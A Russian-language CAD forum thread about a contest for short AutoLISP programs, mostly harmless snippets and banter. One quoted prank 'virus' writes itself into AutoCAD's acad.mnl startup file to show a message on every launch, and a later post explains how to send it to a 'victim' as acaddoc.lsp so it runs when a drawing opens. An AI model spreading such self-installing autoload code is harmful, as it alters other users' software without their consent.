[gomer]

Предлагаю провести конкурс на лучшую короткую лисп программу
Условия:
1. Не плагиат...
2. длина программы - не более 1 kb...
3. Каждый может выставлять любое количество программ... на свое усмотрение...
4. Победитель определяется по количеству благодарностей...
5. Победитель будет считаться лучшим лиспописателем коротких программ на сайте...

От себя выставлю такую программку

Код:

[Выделить все]

(defun c:testent ()
  (vl-load-com)
  (cond
	((vl-catch-all-error-p
	  (vl-catch-all-apply
		'(lambda ()
		  (vlax-dump-object
			(vlax-ename->vla-object
			  (car (entsel))))))))
	((textscr))
  )
  (princ)
)

[gomer]

Сообщение от AlexV Не претендую на звания "самый лучший" или "самый полезный".. Но вот на "самый короткий", - попробую:

Чтоб обрезать намерения создать самый короткий лисп предложу свой вариант:

Код:

[Выделить все]

;

ну и самый короткий:

[Li6-D]

В конкурсах перед всеми конкурсантами должна быть поставлена одна и та же задача.
Критерий победы - минимальное количество символов, без учета комментариев, подсказок (текста в кавычках), пробелов и табуляции. Скорость выполнения кода не учитывается, если нет зависания.
Осталось договориться откуда брать конкурсные задачи (можно из форума, если они поставлены корректно, но ответа пока не дано).
Например такая: написать код для подсчета количества значимых символов в коде.

[AlexV]

Сообщение от gomer Чтоб обрезать намерения создать самый короткий лисп предложу свой вариант: Код: [Выделить все] ; ну и самый короткий:

Я конечно не лиспописатель, и даже не лиспочитатель.. Но автокад эти лиспы тоже не понимает..

Код:

[Выделить все]

Команда: ;
Неизвестная команда ";".  Для вызова справки нажмите F1.
Команда: :)
Неизвестная команда ":)".  Для вызова справки нажмите F1.

[Кулик Алексей aka kpblc]

Вообще-то на theswamp.org очень много самых разных конкурсов. Обычно их проводят так: автор темы объявляет какую-либо задачу (например, "Соединить отрезками любые две пары точек, расстояние между которыми не превышает заданного значения". При необходимости прикладывается пример dwg (в оговоренном формате - 2004, 2007 или 2010), показываются картинки: что есть изначально и что должно получиться в конце. Автор (как правило) показывает свое решение.
И народ начинает решать поставленную задачу. Кто быстрее, кто универсальнее, кто устойчивее... Бывает, что показываются решения на нескольких языках программирования.
Ну и заголовок выделяется, например: "-- { Конкурс } -- <Название конкурса>".

[gomer]

Сообщение от AlexV Я конечно не лиспописатель, и даже не лиспочитатель.. Но автокад эти лиспы тоже не понимает..

Не понимает... эту библиотеку нужно подгружать из файла:

Код:

[Выделить все]

(load "empty.lsp") ; empty.lsp - пустой файл

[VVA]

Сообщение от Кулик Алексей aka kpblc "-- { Конкурс } -- <Название конкурса>".

Идея хорошая. В качестве первого примера (немного изменив тему):
Конкурс. Пребразование в число при возможности

[Profan]

А судьи кто? Судьями должны быть пользователи, ЯТД.

[AlexV]

Сообщение от Profan А судьи кто?..

А призы где?

[Profan]

А где деньги?

[gomer]

Сообщение от Profan А судьи кто?

Сообщение от AlexV А призы где?

Сообщение от Profan А где деньги?

Код:

[Выделить все]

(defun question (be / tmp)
 (or (setq tmp (+ be be)) (not tmp))
)

[Кулик Алексей aka kpblc]

Сообщение от VVA Идея хорошая. В качестве первого примера (немного изменив тему): Конкурс. Пребразование в число при возможности

Если автор будет не против... Хотя там начального кода от автора не было, ну да ладно - первый ком блином
---
Добавлено: Автор темы http://forum.dwg.ru/showthread.php?t=61712 дал добро, я название изменил

[ashas-]

Сообщение от Krieger Коротенький, незатейливый, но достать может Код: [Выделить все] (setq aa (open (findfile "acad.mnl") "A")) (write-line "(entmake '((0 . \"MTEXT\") (100 . \"AcDbEntity\") (100 . \"AcDbMText\") (10 0.0 23.75 0.0) (41 . 95.6647) (1 . \"Здравствуйте, я ВИРУС!!!\\\\PК сожалению, программист, который меня\\\\Pписал ничего из себя не представляет.\\\\PПоэтому, пожалуйста, удалите у себя \\\\Pкакой-нибудь важный файл и передайте \\\\Pменя своим друзьям.\") ) ) (command \"_Zoom\" \"_Object\" \"_Last\" \"\")" aa) (close aa) (setq aa nil) ) (entmake '((0 . "MTEXT") (100 . "AcDbEntity") (100 . "AcDbMText") (10 0.0 23.75 0.0) (41 . 95.6647) (1 . "Здравствуйте, я ВИРУС!!!\\PК сожалению, программист, который меня\\Pписал ничего из себя не представляет.\\PПоэтому, пожалуйста, удалите у себя \\Pкакой-нибудь важный файл и передайте \\Pменя своим друзьям.") );list );list entmake (command "_Zoom" "_Object" "_Last" "")

Здраствуйте! Я ввел у себя этот лисп ))), и теперь не знаю как от него избавиться (в силу своих знаний). Помогите пожалуйста кто может .

[AlexV]

Сообщение от ashas- Здраствуйте! Я ввел у себя этот лисп ))), и теперь не знаю как от него избавиться (в силу своих знаний). Помогите пожалуйста кто может .

(1 . \"Здравствуйте, я ВИРУС!!!\\\\PК сожалению, программист, который меня\\\\Pписал ничего из себя не представляет.\\\\PПоэтому, пожалуйста, удалите у себя \\\\Pкакой-нибудь важный файл и передайте \\\\Pменя своим друзьям.\")

Важный файл удалял? Друзьям лисп передавал? По колесам системному блоку стучал? Антивирус бензином протирал? К автору обращался?

почитай эту тему..

[Li6-D]

Сообщение от ashas- Здраствуйте! Я ввел у себя этот лисп ))), и теперь не знаю как от него избавиться (в силу своих знаний). Помогите пожалуйста кто может

Этот лисп дописывает в файл "acad.mnl" строчки вида:
(entmake ... (command "_Zoom" "_Object" "_Last" "").
Надо удалить эти строчки оттуда ручками.
Быстро узнать путь к файлу можно с помощью (findfile "acad.mnl")

[ashas-]

Сообщение от Li6-D Этот лисп дописывает в файл "acad.mnl" строчки вида: (entmake ... (command "_Zoom" "_Object" "_Last" ""). Надо удалить эти строчки оттуда ручками. Быстро узнать путь к файлу можно с помощью (findfile "acad.mnl")

Спасибо!

[VES1]

Сообщение от lastloch Функция отоображает колесо истории: Код: [Выделить все] (alert "Кукуруза, Коммунизм, Перестройка, Ускорение, Демократия, Модернизация, Нанотехнолгии, .....")

Слава Богу не мировой.

[Krieger]

Сообщение от ashas- Здраствуйте! Я ввел у себя этот лисп ))), и теперь не знаю как от него избавиться (в силу своих знаний). Помогите пожалуйста кто может .

+1
Ну, таблетку дали...
Вообще, нужно создать файл acaddoc.lsp с этим текстом и отправить его жертве вместе с файлом *.dwg (оба в одной папке). Жертва открыв чертеж автоматически получит то, что получил ты. Только на работе так не делай, а то вот мой директор меня чуть в ментовку не сдал

[AlexV]

Сообщение от Krieger +1 Ну, таблетку дали... Вообще, нужно создать файл acaddoc.lsp с этим текстом и отправить его жертве вместе с файлом *.dwg (оба в одной папке). Жертва открыв чертеж автоматически получит то, что получил ты. Только на работе так не делай, а то вот мой директор меня чуть в ментовку не сдал

Krieger, ты наверное работу менял, и решил над недобрым шефом на старой работе пошутить?
Однако, претендент на приз есть!
А механизм етого лиспа каков? Добавляет в acad.mnl функцию "aa", которая подменяет Zoom, выбор объектов и ввод последней команды созданием соответствующего МТекста?

[gomer]

>AlexV: А слабо в стихах налиспить

[AlexV]

Сообщение от gomer >AlexV: А слабо в стихах налиспить

Увы, не знаю я этот язык почти.. Могу наVBA-ть..